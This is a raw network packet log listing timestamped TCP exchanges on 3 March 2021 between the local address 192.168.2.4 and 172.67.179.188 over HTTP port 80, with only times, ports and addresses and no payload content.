Mar 3, 2021 07:33:23.752356052 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752376080 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752387047 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.752393007 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752408981 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752424002 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752429008 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.752439976 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752454996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752461910 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.752470970 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752489090 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752496004 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.752525091 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.752830029 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752849102 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752865076 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752881050 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752896070 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752907991 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.752914906 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752932072 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752947092 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752958059 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.752968073 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752984047 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.752999067 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.752999067 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753015995 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753031015 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753037930 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.753050089 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753067017 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753082037 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753098011 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753142118 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.753154039 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.753798962 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753819942 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753855944 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753874063 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753885031 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.753891945 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753906965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753915071 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.753921986 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753938913 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753945112 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.753953934 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753969908 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.753984928 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754003048 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754004955 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.754019022 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754030943 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754046917 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754053116 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.754077911 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.754690886 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754709005 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754722118 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754738092 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754753113 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754760027 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.754771948 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754789114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754802942 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754815102 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.754818916 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754833937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754836082 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.754848957 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754862070 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.754864931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754879951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754893064 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.754899025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754915953 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754924059 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.754930973 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754945993 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.754955053 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.754982948 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.755711079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755728960 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755743980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755759001 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755774975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755790949 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755810022 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755820990 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.755858898 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.755889893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755907059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755934000 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.755934954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755953074 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755970001 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.755975962 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.755985022 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756000996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756020069 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.756026030 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756041050 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756047010 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.756057024 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756081104 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.756637096 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756655931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756674051 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756690979 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756700039 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.756705999 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756722927 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756731987 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.756742001 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756757021 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756772995 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756778955 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.756788969 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756803989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756829023 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.756836891 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756855965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756867886 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.756872892 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756891966 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756906986 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.756911993 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756932974 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.756941080 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.756969929 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.757560968 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757579088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757595062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757611036 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757622957 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.757630110 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757647991 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757669926 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.757689953 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.757775068 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757791996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757807016 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757822037 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757839918 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757843018 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.757855892 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757873058 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757884026 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757891893 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.757905006 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757914066 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.757920980 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757936954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.757944107 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.757982016 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.758527994 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758546114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758558035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758569956 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758590937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758598089 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.758609056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758624077 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758640051 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.758640051 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758656025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758661985 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.758671045 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758687019 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758699894 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.758702040 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758721113 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758733988 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.758737087 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758752108 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758758068 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.758768082 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758784056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.758816957 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.758846045 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.759608030 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759628057 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759640932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759653091 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759669065 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759695053 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759699106 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.759711027 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759722948 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759740114 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.759742975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759759903 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759771109 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.759774923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759790897 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759804010 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.759805918 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759820938 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.759830952 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.759860039 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.760485888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760505915 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760518074 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760535002 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760551929 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760564089 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.760566950 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760582924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760595083 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.760600090 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760617018 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760624886 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.760636091 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760653973 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760654926 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.760669947 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760679960 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.760685921 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760703087 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760720015 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760727882 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.760735989 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760751963 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.760766029 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.760796070 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.761169910 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761257887 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761275053 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761291981 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761307955 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761307955 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.761331081 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761378050 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761404991 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.761420012 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761426926 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.761440039 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761457920 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761472940 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761490107 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761496067 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.761506081 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761517048 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.761517048 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761533976 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761549950 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761559963 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.761568069 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.761589050 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.761818886 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.762120008 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762217999 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762234926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762249947 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762267113 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762280941 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.762280941 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762330055 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.762362957 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762378931 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762393951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762409925 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762424946 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762437105 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.762439013 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762454987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762470007 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.762478113 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.762506008 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783113956 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783143044 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783159018 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783174038 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783190012 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783209085 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783224106 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783229113 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783240080 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783256054 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783271074 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783277035 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783286095 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783302069 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783305883 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783320904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783334017 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783338070 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783354044 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783354044 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783370018 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783385038 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783396959 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783399105 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783415079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783431053 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783438921 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783449888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783457994 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783466101 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783482075 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783490896 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783498049 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783513069 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783518076 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783528090 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783540964 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783544064 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783559084 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783576965 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783582926 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783592939 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783608913 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783620119 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783624887 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783639908 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783647060 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783654928 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783670902 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783678055 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783687115 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783699989 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783704996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783721924 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783736944 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.783739090 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.783781052 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.784189939 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784209967 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784229040 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784245968 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784260988 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784260988 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.784279108 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784296036 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784312963 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784327984 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.784339905 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.784343958 CET	80	49770	172.67.179.188	192.168.2.4
